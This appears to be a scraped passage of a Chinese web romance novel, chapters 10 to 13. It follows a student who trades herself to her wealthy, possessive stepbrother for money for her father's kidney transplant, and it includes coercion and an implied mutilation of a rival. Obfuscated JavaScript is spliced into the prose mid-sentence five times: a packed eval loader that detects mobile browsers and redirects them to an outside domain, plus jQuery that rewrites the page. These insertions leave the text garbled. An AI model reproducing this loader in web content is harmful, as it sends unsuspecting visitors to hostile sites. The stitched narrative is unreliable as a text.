“身体不便是吗?”谢彭越再次危险抵近,修长的手指眷恋地在她的脸颊上滑动,最后停留在柔软的唇瓣上,“我倒是不介意,你用其他地方伺候我。” “你说过的,如果我不愿意,你也不会逼我。” “口。” “你忍心吗?我今天可都受伤了呢。” “栗杉!” “那么大声干嘛?我不是你的宝宝了吗?” 什么宝宝? 妖精还差不多。 谢彭越没好气地再次封住栗杉的嘴,吻得野蛮又霸道。 所谓有福同享有难同当,他有的是一百种办法,让她也和他一样,求生不得求死不能。 10. 满 清晨的校园中,空气里弥漫着湿雾。一辆墨色碳纤的城市越野车停在主干道上,车身线条流畅,像一只张扬猛兽,在薄雾中蛰伏。 谢彭越的车虽然很多,但车牌号始终统一——0901。只不过每一辆车的前缀英文数字变了一个,仿佛要把所有英文字母凑齐。以至于,栗杉每次看到这个数字时,都会下意识地想到谢彭越。 一开始,栗杉以为谢彭越会钟爱0901这个数字,可能是意指他生日之类的重要日期。后来她才知道,他的生日是在八月一日,和九月一日可差了整整一个月。 当然,这个数字和她没有半点关系,她的生日在十二月份了。 早八第一节课,谢彭越亲自开车将栗杉送到学校后,再三交代:“下午放学自己乖乖在地下停车场等我,别瘸着腿乱跑。” 他对她的课程安排了如指掌。 “我才没有瘸腿,而且脚上的伤没什么问题了。”栗杉难得对谢彭越说着软话,“今天晚上就不去你那里了好吗?” 谢彭越闻言危险靠近,用手扣着她的下巴,“这句话我不想再听第二遍。” 栗杉咬了咬牙,还不等她说什么,他便再次开口: “宝宝,再磨蹭的话,我不介意现在把你抱到教室。” 眼看着上课快要迟到,栗杉不得不答应了谢彭越的要求,他才同意放她去教室。亦如昨晚,他缠着她折腾了快一个小时,从头到脚把她吻遍了还不算,一直抱着她揉个不停。 她真是切身感受到了什么叫搬起石头砸自己的脚,想耍弄谢彭越不成,自己反倒像是雨中摇曳的一片枯叶,要坠不坠的。 最后到底还是她开口求他,又是喊哥哥,又是喊老公的,他才依依不舍地放过她。 没人知道的是,此时此刻她的胸前遍布着密密麻麻的吻痕,就连唇上还有谢彭越的气息。 栗杉踩着点进的教室时,室友们已经占好了座位。 “杉,你脚没事吧?昨晚怎么不让我们陪你一起去医院?” “没事的,现在已经感觉好多了。” 邵娴心里依旧十分过意不去,“说来说去都怪我太意气用事,害你受牵连。” 栗杉全然不在意:“跟你有什么关系?要怪就怪没有下限的狗男人。出轨、颠倒黑白、还有暴力倾向,他这种人迟早会被老天收拾。” 王凌晓在一旁跟着默默吐槽:“真是每天一个恐男小技巧啊。” 武昊静叹气:“不提这种糟心的事情了。” “就是,都过去了。” 室友们对栗杉昨晚和家人去医院检查的事情并没有产生任何怀疑,毕竟检查是真的,她还在群里发过检查单和检查结果。 她唯一对室友隐瞒的,是自己一整晚都和谢彭越在一起。 一早醒来,栗杉脚上的红肿虽然依旧明显,但已经不像昨晚那么疼痛。不能否认的是,在这期间谢彭越为她做了很多,又是给她抹药,又是冰敷。他事无巨细地伺候着她,倒还真是贴心细致。 事实上,今早若不是谢彭越非要给她擦药,以她的性格,估计会随意应付了事,没准会越拖越严重。 今天是周一,一整天的课程被安排得满满当当。 午饭过后,栗杉心无旁骛地坐在寝室的书桌前画设计草图。午后的寝室里很安静,王凌晓正在午睡,武昊静因为学生会的工作不在寝室,邵娴则窝在床上看言情小说。 今年大三学期初,栗杉突然在寝室里宣布想要做一个服装品牌,并询问室友要不要一起加入。没想到的是,一呼百应,室友们也非常捧场。 于是乎,她们四个人一起创立了一个名为“纞”的中文名字品牌。 纞的读音为liàn,释义为没有停顿、没有终止。 这个字所代表的含义,也是栗杉从小到大对于绘画和设计的坚持与不放弃。 设计师的职业在如今这个大环境下已经不算是主流,也不再热门。但栗杉从小热爱服装搭配,对绘画和设计情有独钟。刚上幼儿园的时候,她就拿着画笔涂涂抹抹,梦想着自己未来能够当上一名设计师,可以站在世界的大舞台上。 现在看来,年幼时的梦想确实是有点白日做梦。 可这个梦,到底还是让栗杉一步步踏出去了。 注册品牌,设计打板,开线上服装店。 她们通过网上直播的方式引流进行宣传,效果虽然不佳,到底还是卖出去了几件衣服,收获的都是好评。 其中一条评价栗杉至今还记得,并截图保存在了自己的手机里。 这位匿名的卖家是这么说的:[衣服的设计独一无二,版型很正,面料和细节无可挑剔,比我花几万块钱买的小香要香多了!希望你们可以坚持!加油!] 除了在线上售卖自己的原创服饰之外,她们也把亲手制作的衣服送给隔壁的模特同学穿,就当是一种免费宣传。只不过,引流效果依然不佳,至今没卖出几件。 栗杉心态很平稳,因为目前她们并不靠这家原创店吃饭,所以能不能卖出去也并不影响她们的日常生活。可若真是有顾客在线上咨询并下单,她们也会高兴地在寝室里欢呼雀跃。 “我靠!” 邵娴突如其来的一声惊呼,不禁让栗杉抬头望去:“怎么了?” 邵娴一脸惊魂未定,简直不敢相信自己刚才看到的图片。 “我跟你说,你别被吓到。” 这么一说,栗杉更加好奇了:“什么事啊?” 邵娴在犹豫要不要告诉栗杉,“是关于柯城的事情。” 栗杉闻言皱眉,“他又怎么了?” “他,被人砍了两根手指。” “真的假的?” “真的,一个他和我共同认识的朋友告诉我的,还给我发了图片。”邵娴说着把手机递给栗杉看。 栗杉胆子也大,不怕这些血腥的画面。 照片里,是柯城一张发白的脸,以及,被鲜血模糊的双手。 清晰可见的是,食指和中指被剁了下来,有两个露出白骨的大洞。 邵娴惊魂未定地拍了拍自己的小心脏,嘀咕:“不是,他得罪什么人了?太可怕了。” 栗杉眉心一跳,直觉这件事没有那么简单,脑子里几乎是下意识地映出一道身影。 但她不敢做过多的设想。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219457|181437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正在睡觉的王凌晓被惊扰,也凑过来了解八卦,直呼痛快:“这叫什么?不是不报时候未到,看来老天都看不下去了!” 邵娴想起:“该不会是债主吧?我记得他好像有欠债,还是高利贷。” 王凌晓:“破案了!肯定就是了!现在被骗着借校园贷的同学就不少,高利贷就更不用说了。前段时间不是还有同学因为还不起几十万的贷款,最后去投河自尽的新闻吗?” 邵娴:“这么一说,我是有印象。” 栗杉默默低头画画,没有参与讨论。 只不过,她忽然想起自己与谢彭越之间那点见不得人的事—— “五十万?我还当多少。” …… “你考虑清楚了主动来我房间,这可不是我强迫你的。” …… “记住了,你现在是属于我的,只属于我一个人。” …… 当初,栗冠宇尿毒症急需换肾,好不容易找到了合适的肾源,却没有钱,只能眼睁睁看着生命进入倒计时。 其实七拼八凑的,栗家从亲戚朋友手中已经借到了二十多万,可距离收费还差一半。 奶奶给栗杉打电话哭诉说:“你妈不是跟了有钱人吗?你们就真的打算见死不救吗?到底,你爸从未亏待过你这个女儿吧……” 那段时间,栗杉几乎被黑暗阴影笼罩,连做梦都是爸爸在病床上痛苦呻吟的样子。 直到有天她被噩梦惊醒,再也走投无路,于是询问同在一个屋檐底下的“哥哥”谢彭越:“……能不能借我一些钱?” 栗杉至今记得那一天,她半夜醒后满头大汗,身体内因为水分流失严重,口干舌燥,便起身准备去楼下找水喝。 不料,迎头撞上了谢彭越。 那个晚上,当栗杉问出这句无厘头的话时,谢彭越似乎并不感到意外。 他穿一身的白,双手抄在宽松长裤的兜内,一身的矜贵,居高临下看着她。 他用漆黑带笑的瞳仁审视着她的脆弱与无助,褪去外人眼中的平易近人,像一只蛰伏的野兽。 谢彭越的原话是:“我的钱从不借人,有需要的话,拿同等价值的东西跟我换。” 栗杉又怎么不会知道,这天底下没有免费的午餐这个道理。 “什么是同等价值的东西?”她依旧低着头,鼓起勇气问。 在同一屋檐下一年,这是栗杉为数不多和谢彭越的交集。 没有开灯的厨房,光线昏暗到栗杉看不清谢彭越的容貌,抑或着说,她被自卑感模糊了双眼,抬不起头来。 “啪”的一声,他打开了厨房灯光,让璀璨的光线洒满彼此。逼近一米九的身高,给她造成一种强烈的压迫感。 “求人也要有求人的样子。”他勾着唇,“抬头,看着我说话。” 栗杉抬起头,却见眼前的人张扬、锋芒毕露,浑身充斥着傲慢的高高在上。 她不知道自己是如何抬动如同被灌了铅的双脚,走向他,靠近他,踮起脚尖,尽可能与他宽肩平齐,继而猝不及防地在他双唇落下一吻。 “如果用我换的话,你同意吗?” 11. 浩 上课时,专业老师当众宣布了一个消息。 一年一度的全国服装设计大赛又要开始,希望学生们能踊跃报名参加。现在的比赛初轮都是带上设计图直接线上报名,到相应的时间点会邮件通知是否进入复赛。 前两年栗杉也都积极参加比赛,今年倒是意兴阑珊的,没有多大兴趣。 栗杉一整个下午都心不在焉,上课时也频频走神。这节实操专业课的主要任务是裁布和缝纫,她甚至差点剪到自己的手指。 实操课在专门的教室,这里设施齐全。大一的时候老师还会手把手地教他们操作,现在已经大三,老师布置完任务后在教室里溜达一圈,就回办公室坐着,一直到快下课才又过来溜达一圈。 “救命,你这样也太危险了,还是让我来吧。”武昊静顺势接过了栗杉手上的剪刀。 邵娴也看出栗杉的游神,问她:“怎么了?身体不舒服吗?” “没有,在想事情。” 邵娴好奇:“在想什么呀?” 栗杉在想的事情,其实是关于品牌“纞”的未来发展。 她们四个人目前小打小闹,没做出什么成绩,但如果一直没有成绩怎么办呢? 大三结束后,大四的她们就要去实习了。到时候能不能凑到一起是一回事,能不能继续坚持又是另外一回事。 栗杉是突然灵光乍现,想起自己不久前刚在网络上看过的时装周走秀资料。 大部分人无法理解时装秀上所展示的“奇装异服”,觉得太过天马行空,在现实中根本穿不出去。但事实上,这些概念性的作品,往往是设计师的艺术创作和创新。一般等到展览结束后,这些作品会经过再次转化,变成时尚的元素和单品,继而重新设计成日常可以穿的款式,进入市场。 “静,我觉得不应该追求大众化。既然做设计了,就要精准目标群体,要吸睛。” 武昊静手上还拿着剪刀,被栗杉这无厘头的话语给弄懵了,问:“啊?你在说什么?” “我说的是纞。” “哦哦。”武昊静说着手起刀落,很快将布裁开。 在专业能力上,武昊静是没话说,她来自地灵人杰的江南,父母都是做服装生意的,所以自幼便耳濡目染。 邵娴跟着问栗杉:“你现在有什么想法?” 栗杉:“你还记得你去年去看过的演唱会吗?” “当然记得!我可是为了这场演唱会攒了一个学期的生活费呢!” “所以,你觉得舞台装怎么样?” “很华丽、瞩目、如梦似幻、天马行空、不切实际。” 去年末,邵娴参加了一位女歌手的演唱会。那是她喜欢了五年的歌手,也是她人生当中第一次参加演唱会。 演唱会过后,她有很长一段时间的戒断反应。 栗杉人生中看过的一场演唱会,是谢彭越带她去的。外国组合,全程唱英文歌。 她坐在vip包间,虽然对该组合不算太了解,但也被现场热烈的气氛所感染。 栗杉问邵娴:“如果你的偶像能够穿上你亲手设计的舞台装,你会不会很高兴?” “那还用说!简直做梦都要笑醒。”不过邵娴很快冷静下来,“算了吧,我算是个什么东西,还给我偶像设计舞台装呢,简直是痴人说梦。” 王凌晓拍拍邵娴的肩膀说:“这就是你妄自菲薄了,凡事皆有可能啊。” 武昊静:“就是,咱们都还没做,怎么就知道不可能呢?” 栗杉:“这么说来,你们是同意我的想法了?” 王凌晓:“杉,无论你有什么想法,我们跟着一块儿上就是了,不试试怎么知道成不成呢?” 邵娴:“对。” 当然,她们不是不知道后续会产生很多问题。但如果连这一步都没有踏出去,那么连后续的问题都是白谈。 栗杉提出想法:“大众路线也先不要彻底放弃,我今晚就开始尝试设计,到时候给你们看看。” 邵娴:“行啊,我也试试。” 正讨论着,突然有人在教室里鼓了鼓掌,说:“喝奶茶啦,大家先停一停手上的事情,见者有份,有鲜果茶、花香茶和咖啡。” 说话的人是李珊,她正站在教室的讲台上,眉眼里都是掩盖不住的如沐春风。 从栗杉的角度看站在讲台上的李珊,女生脸上的妆容精致,波浪长发,小短裙,是人群中很闪亮的存在。 同学们跟着起哄: “哇!李珊你发大财啦?居然请我们所有人喝奶茶?” “这是碰上什么好事啦?跟大家分享分享呗。” 李珊笑着说:“其实是我男朋友请的,大家别客气啊,不然就浪费了。” “你也太幸福了吧!” “那就谢谢你男朋友咯,也祝你们长长久久。” “我要芒果味的。” 邵娴这个馋嘴猫,一听有好喝的,中午还在闹减肥的人立马忘本。 她一个人去捧了四杯奶茶过来,分别是室友们喜欢的口味。 “水果味的给杉杉、茉莉茶给昊静,咖啡给凌晓。”邵娴一一分发。 栗杉也没扭捏,接过来喝了。 邵娴到底有些好奇,小声嘀咕:“你们知道李珊的男朋友是谁吗?这也太大方了吧,这么多奶茶起码得花个小几百。” 栗杉回答:“刑嘉勋。” “啊?居然是他。” “你怎么知道的?” “遇见过他们在一起。”栗杉一笔带过,没讲太多细节。 室友闻言面面相觑。 几个人不是不知道刑嘉勋之前猛烈追求栗杉的事情,没想到这家伙现在居然和李珊在一起了。 栗杉咬着吸管有一口没一口地抿着,见大家脸上神色古怪,说:“干嘛呀,别搞得刑嘉勋好像是我前任似的,我和他可没半毛钱关系。” 邵娴:“就是就是,美女独自美丽,男人别来沾边。” 武昊静跟着一脸不怀好意地笑:“那你和那位叫滕延的老乡呢?你们现在是什么关系?” 栗杉坦诚:“就普通朋友的关系啊。” 王凌晓:“不是吧?我以为你俩都在一起了呢,你们不是上上周还一起出去玩了吗?” “想什么呢?我和滕延真不像你们想的那样。” “好吧好吧。” “你可别瞒着我们偷偷谈恋爱啊。” “当然不会。” 也巧,半下午的时候,滕延给栗杉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219458|181437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了一条短信,问她:[晚上要不要一块儿看电影?] 顺便附了一张影片截图。 这部小清新的爱情电影最近讨论度很高,可以算得上十一月的黑马。 栗杉想到今晚还要去谢彭越那里,便拒了:[不了,我晚上有事。] [好的。] 滕延没有过多询问。 * 栗杉是留在教室里最后才走的那一个,她对室友说家人会来接自己回家住两天静养,室友们也没多想。 邵娴倒是很羡慕栗杉,说:“我家要是住那么近就好了,每周末都能回去吃我妈做的酸菜炖排骨。” 武昊静说:“那我们今晚就去吃东北菜。” 王凌晓:“可惜杉杉没口福啦。” 栗杉到地下停车场时,谢彭越的车灯正开着,很容易看到。学校里开车的学生很少,大部分的车都是老师的,而且大部分的车也都停在露天的停车场,反倒是地下停车场的车寥寥无几,也十分空旷。 栗杉人还没到谢彭越的跟前,他的电话已经打过来了。 “怎么还不过来?”谢彭越的声线透着沙哑的质感,是好听的。 栗杉慢步朝着那辆熟悉的车走过去,回答:“谁说我要过来了?” “你有本事再说一遍,知不知道我等了你多久?” “再说一遍就再说一遍,谁说我要过来了。” “栗杉!等着!” “等着就等着。” 电话就这么被单方面挂断。 紧接着,谢彭越的身影从越野车上下来,只听“嘭”的一声,车门被关得震天响。 然而,还不等谢彭越走两步,就见迎面走过来的栗杉。 此时的栗杉脸上带着嘲弄的笑意,很显然,对于戏耍谢彭越一事,她是不厌其烦,也很开心。 她开心,他也就开心。 “行啊!翅膀硬了!你敢耍老子!” 谢彭越停下脚步站在原地,身穿黑色夹克外套,两条颀长的双腿被包裹在工装裤内。 他背对着光,车大灯还未熄灭,那束光就如同璀璨的银河洒在他的身上,勾勒出卓越的身材比例,让栗杉看不清他的面容。 栗杉的脚步很慢,一方面是脚踝确实不适,另一方面也确实有刻意的成分。 刚走两步,她见不远处的谢彭越再次迈开大步,径直朝自己快步走过来。紧接着,她被他强势打横抱起,紧紧相依。 “不是很能耐吗?这时候怎么不说话了?”谢彭越没好气地掐着栗杉的腰,让她一个激灵。 栗杉见好就收,双手圈着他的脖颈,“开个玩笑还不行吗?” “也不是不行。” 谢彭越心情不错,抱着栗杉上了副驾驶后,俯身亲了亲她的脸颊。 栗杉始终还是担心会有人看到,抗拒地躲了一下,说:“快走吧,我饿了。” “行啊,饿了就先吃我垫垫肚子。” 谢彭越不要脸地贴在她面前,炽热的双眸盯着她的唇,被放大的五官精致且无死角。 为了不招惹更多的麻烦,栗杉主动在他唇上贴了一下,很快又退开:“好了。” 谢彭越一脸无奈的宠溺:“宝宝,你再敷衍我试试。” 12.瀚 车厢里弥漫着谢彭越身上清爽的茶香味,蛊着栗杉的嗅觉神经。不知道从什么时候起,这款香几乎成为他的专属气息。就因为她有一次无意间提了一句这款香水真好闻,他便再也没换过。 “再亲一个。”谢彭越似乎很享受与栗杉之间的这种亲昵氛围,哪怕知道她是在敷衍,可还是忍不住逗弄。 “可是我现在真的好饿。” “不是让你吃我?” “你又不好吃。” 谢彭越眯了眯眼:“你确定?” 栗杉甚至连敷衍都不太愿意,她现在对谢彭越实在提不起任何欲念。尚在生理期,她无欲无求,甚至可以说性.冷淡。可谢彭越在她的面前,像是一只随时会发情的疯狗,但凡有私下相处的机会,他都不会放过和她腻歪。 曾有一段时间,谢彭越不知道怎么的冒出一个想法——企图在她身上放定位追踪器。 这样一来,他随时都能知道她在哪里、随时都能找到她。 这件事最后之所以不了了之,是栗杉用三天的无视和冷漠换来的。 那几天,哪怕他用尽浑身解数来撩拨她,她也只是死死抿着唇,像一只面无表情的充气娃娃,任由他索取。 □*□ 谢彭越知道她在犟什么,最后到底还是妥协了。他舔吻她脸上的泪,抱着她低声细语地轻哄,此后再也没提过在她身上放定位追踪器的事情。 他偏执又强势,近乎变态的占有欲,时常让栗杉觉得自己就像是他的一个宠物。 明明,人前的谢彭越不是这样的。他个性张扬,与人交往却既有涵养又有分寸。但凡与他接触过的人,对他的评价无外乎都是谦逊,有礼貌,保持着一定的距离感。 栗杉的室友武昊静曾经因为学生会的工作和谢彭越有过一些接触,回到寝室后简直对他赞不绝口。 那是一个月前的百年校庆文艺汇演节目选拔,武昊静和另外几位同学代表学生会去找谢彭越,希望他能用网红身份的效应来参加节目,顺便带动一下现场氛围。 武昊静本以为谢彭越这种在网络上有一定知名度的红人,一定十分傲慢,极其难以沟通。 但没想到的是,接触下来后发现,谢彭越不仅善解人意,还非常有涵养,是那种一看就是在出身不俗的家庭中长大的。 “感觉当他的女朋友一定很爽,又帅,又有教养,家庭背景好就算了,他也那么优秀。” 武昊静当时这样评价谢彭越时,栗杉正背对着她在画画,憋着没说话。 没人知道的是,栗杉一边在纸上画着火柴人,一边在心里疯狂吐槽:“装的!全都是装的!但凡和他在一起就知道这个人有多么令人窒息了!” 好比现在,谢彭越不达目的誓不罢休。他用手扣着她的后颈,霸道又强势地让彼此之间严丝合缝。 “吻我,用力吻我。” 栗杉知道,今天如果不如了谢彭越的愿,他可以一直纠缠着她,直到闹出的动静被所有人发现。 所以她只能被迫营业,尽可能地满足他。 接吻这件事,对栗杉来说依旧不算擅长。多数时候,都是她被迫承受他的长驱直入。还不等她有所反应,已经被他逼得气喘吁吁。 她闭上眼,屏吸贴近他的唇瓣,学他的样子用舌尖探入他的唇齿。 生涩的举动没有太多章法,依旧掀起层层波澜。 □*□ 最终,狠下心放过她。 缠绵过后,谢彭越整个人散发着温柔的气息。这个时候,哪怕栗杉提出任何过分的要求,他也都会满足。 这个人就是这么反复无常。 “晚上想吃什么?”他温声询问她的意见,一并启动车。 栗杉想了想,回答:“烤鱼。” “烤鱼?”谢彭越蹙了蹙眉,“不会又是那家吧?” “是啊,就是我们之前一起吃过的。” 彼此心照不宣,是他们之前在一起吃过一家网红烤鱼馆。 那次恰逢节假日,两个人整整排了三个小时的队,轮到他们上桌的时候将近晚上十点。 谢彭越这辈子就没有这么无语过,他这位矜贵的大少爷,哪次不是别人等他?什么山珍海味他没吃过? 但栗杉想吃,他只能耐着心陪着。 尝过之后才觉得,这三个小时的等待时间简直是在浪费生命。 “换一家。” 栗杉表示可以妥协:“算了,那就不吃了。” “你非要跟我杠是吧?” “是你问我要吃什么的,问了你又不愿意,那你一开始就不用问我意见的。” 最终还是谢彭越妥协:“好好好,听你的,都听你的。” * 今天是周一,商场里的人流量比起周末来说少了大半。 谢彭越顾虑着栗杉脚踝受伤,很想抱她上楼,但她说什么都不肯。 到底是人来人往的商场,她真要被他抱着进进出出,不知道多惹人眼。 “我脚现在看着有点肿,但走路其实一点也不疼。” “别逞能,没什么不好意思的。” “没逞能。” 谢彭越半搂着栗杉的腰,让她将身体大部分的重量都压在他的身上,这样走路不会使劲。 他是个精力旺盛的人,长期锻炼身体,一身的肌肉练得精壮且恰到好处,站在她的身旁极具安全感。 栗杉自认也不算矮,可只要站在谢彭越的身旁时,就会显得她尤为娇小。毕竟,他们之间有了二十多厘米的身高差。 只要谢彭越想,他一只手臂就能将她提起,哪里需要经过她同意。大部分时候,她的反抗和挣扎在他的面前都像是小猫似的挠痒痒。在绝对的力量面前,栗杉只能自认弱小。 许是工作日的原因,今天的烤鱼馆居然不用排队。 “太好了!不用排队诶!”实则有过上次排队的经历,栗杉心里也怵得慌,深怕这次又要排队。 谢彭越闻言讥嘲道:“到现在还没有倒闭,也是个奇迹。” “你就这么看不上这家烤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229427|181437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼馆吗?”栗杉不是很理解谢彭越的思维,她觉得这里的价格实惠,味道好,虽然说不至于到排队三个小时的地步,但总归是性价比很高的。 更重要的是,她很喜欢吃。 谢彭越接过服务人员带过来的湿纸巾缓缓擦拭着双手,淡淡回答:“吃个饭而已,又不是谈恋爱,有什么看得上看不上的。” 他不是不能接受这些不上档次的东西,只是总觉得带着她出来,就是要给她最好的。 偏偏她是个省吃俭用的,是那种出门在外就算是渴得口干舌燥,也要坚持回家喝凉白开的人。 “今天我请客,你随便点吧。”栗杉把手机递给谢彭越,上面是烤鱼馆的菜单。 谢彭越觉得挺新鲜:“你请客?太阳打西边出来了?” 栗杉也不是冷血动物,他照顾她,礼尚往来,她也该回馈她。 她不想欠他太多人情。 “就点你喜欢的那个口味。”谢彭越看都没看一眼菜单,将手机还给她。 “配菜呢?”栗杉捧着手机滑动菜单,“你不是爱吃藕片吗?我加一份吧。” “嗯。” “豆芽也来一份,我爱吃。” “嗯。” “油条要不要?放在汤里面泡一泡可好吃了。” “随你。” 栗杉专注地看着手上的菜单,谢彭越则专注地看着她。这种感觉对谢彭越来说很有意思,明明不算什么轰轰烈烈,却能让他心里软成一片。 下好单后,栗杉还专门示意服务人员,说:“不要放葱和香菜。” 因为谢大少爷不喜欢。 两人原本面对面而坐,可栗杉刚和服务员说完话没一会儿,谢彭越就起身换了个位置来到她身边,危险靠近。 栗杉一脸警觉:“你要干嘛?” 谢彭越一把勾着她的腰,将她往自己怀里带:“也算没白养,还知道我喜欢吃什么了。” 栗杉也不想知道的。 可他每次吃到不喜欢吃的东西,就会一脸不爽地在那里挑挑选选大半天,这样会影响她的食欲。 服务员送来小吃,栗杉顺势拿了一颗花生投喂进谢彭越的嘴里,一并动作敏捷地起身坐到对面的位置躲开他。 谢彭越用手拍拍自己身边的空位,让栗杉过来:“坐我边上。” “不,你太能动手动脚了,我没办法好好吃东西。” “不碰你。” “你的话可信度在我这里为零。” “行,那我坐过来。” “别……” 正说着,栗杉忽然听到有人喊她的名字。 “栗杉?” 栗杉闻言抬起头,见不远处正和同伴走在一起的滕延。 一身运动风格的白衣黑裤,短发利落有型,清清爽爽的男大学生形象。 与此同时,谢彭越也缓缓侧过身来,看向那位在栗杉日记本里出现的小竹马。 滕延同样看向谢彭越,两道目光隔空交锋,有疑惑,也有轻蔑不善。 13.潮 今天半下午时,滕延就给栗杉发过消息,问她要不要一起看电影。她当时回答说晚上有事,就婉拒了他。 没想到,居然会在这里碰面。 对面人已经走了过来,越来越近。 栗杉顿时没由来地心虚,站起身朝他打招呼:“好巧,你也来吃烤鱼吗?” “说起来,这家烤鱼馆还是上次你推荐的。我和同学来吃过一次,感觉不错。”说话间,滕延站在了餐桌旁边。 与滕延随行的有两个男生,和他身高相仿,一看都是斯斯文文的高材生,有点i人样子。他们知道滕延遇到了熟人要寒暄,便很自觉地自己去找位置坐下。 走近了,滕延先是好奇地看了眼谢彭越,再主动礼貌询问栗杉:“这位是?” 栗杉看了眼坐在自己对面的谢彭越,只见这人正八风不动地坐在那里小口抿着柠檬水,仿佛看不到身边有个一米八的男大学生站着。 她下意识地用一副撇开关系的语气说:“这是我哥,就是我给你提过的谢彭越。” 想了想,又低头对谢彭越说:“这是滕延,我的发小。” 谢彭越终于有了反应,懒懒靠在沙发上看着栗杉问:“是么?你是怎么提我的?” 还不等栗杉回答,滕延便笑着对谢彭越说:“杉杉说你非常优秀,不仅会五个国家地区的语言,还精通钢琴和吉他等乐器。更重要的是,你还特别照顾她,是个很好的哥哥。” 谢彭越闻言慵懒撩了撩眼皮,语气轻松:“哦?确定没在背后骂我?” “怎么可能,她夸你都来不及。”滕延笑起来时双眼弯弯的像月牙,会给人一种很无害的亲近感。 “杉杉。”谢彭越重重含着她的名字,“这就是你的不对了,怎么从来没跟我提起他呢?” 被点名的栗杉一脸无语:“……” 滕延反倒替她解围:“杉杉说和你在家见面次数不多,可能没机会提吧。” “是么?” 事实上,谢彭越全程都没给滕延一个正眼,但他也是满面开颜的,仿佛同样无害善良。 他只是一直盯着栗杉,注意着她脸上紧张的神色。 滕延顾虑着同行的伙伴,对谢彭越和栗杉说:“同学还在等我,我们下次有机会一起吃饭。” 栗杉点点头:“好。” 谢彭越则没再说什么客套的话,只低头翻看手机,全然不把人放在眼中。 换他以往的行事风格大概率是要留人一起吃饭的,今天却像变了性子似的。 人走后,栗杉莫名松了一口气。她当然不奢望谢彭越会对滕延有什么好脸色,不作妖就谢天谢地了。 原以为谢彭越会借题发挥,但没想到的是,他居然没说什么。 “给你点了奶茶,一会儿会送过来。” “谢谢。” “这么客气?” 栗杉小心翼翼看着谢彭越,总觉得他在憋什么大招。 见他没有动静,她便不主动去招惹他,免得成为炮灰。 这时,“花果山会议室”室友群里有动静,是邵娴发了一张锅包肉的照片,并@栗杉说:[超级好吃!] 栗杉看着美食图片食指大动,倒真有点饿了。 也是在这时,身在不远处的滕延突然给栗杉发了条消息,说:[你这位继兄是不是不喜欢我?] 栗杉下意识抬头看了眼谢彭越,见他没有察觉,便随便找了个借口回复滕延:[他有点慢热。] 滕延很快回复:[好吧,可能是我太敏感了。] 烤鱼上桌之后,谢彭越慢条斯理地用筷子剔除鱼骨,再将无刺的鱼肉夹到栗杉碗中。 栗杉小口吃着豆芽,嘴唇被辣汤得有些红肿,头也没太地朝谢彭越咕哝一声:“不用给我夹,你自己吃就行。” “这就开始避嫌了?”谢彭越两只手手肘撑在桌面上,以一种俯瞰的姿态看着栗杉,“怎么?怕你那位小竹马看见了误会?” 栗杉闻言一顿,倒还真没有想到这一茬。 来烤鱼店的客人陆陆续续早将所有餐桌坐满,她所坐的位置距离滕延有点远,中间还有其他客人挡着视线,可以说毫无交集。 栗杉不想这个时候跟谢彭越起争执,忍了忍,之后猝不及防地往他嘴里塞了一块鱼肉。 “好吃吗?” 谢彭越也是受宠若惊,缓缓咀嚼嘴里的鱼肉,继而皱眉吐槽:“太咸,有点腥,鱼刺没剃干净。” 栗杉不明白,为什么好吃的鱼怎么就堵不住他的嘴巴? “那就喝点醋。”她说。 “喝醋?” “这是我外婆教我的,沾点醋不仅能去腥味,而且被鱼刺卡住了也有用的。” “有什么用?我看是歪门邪道。” “快吃吧大哥。” 栗杉虽然不是小鸟胃,但胃口也不大。吃了没几口,她的肚子就已经半饱,不是在节食减肥,而是习惯使然,平时吃得就不多。 谢彭越嘴上虽然一直嫌弃这家烤鱼馆味道差,可但到底还是接过她的碗底,不紧不慢地吃了个精光。 一般情况下,他的胃口都算不错,能长成这样精瘦有型的体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232683|181437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格可不是减肥节食饿出来的。 栗杉没意识到的是,她其实还挺喜欢看谢彭越吃东西。 他吃东西会让人觉得很有食欲,吃相很好,不会发出奇怪的声音,那双唇因为被食物的汁水浸润,反而看着很娇嫩。 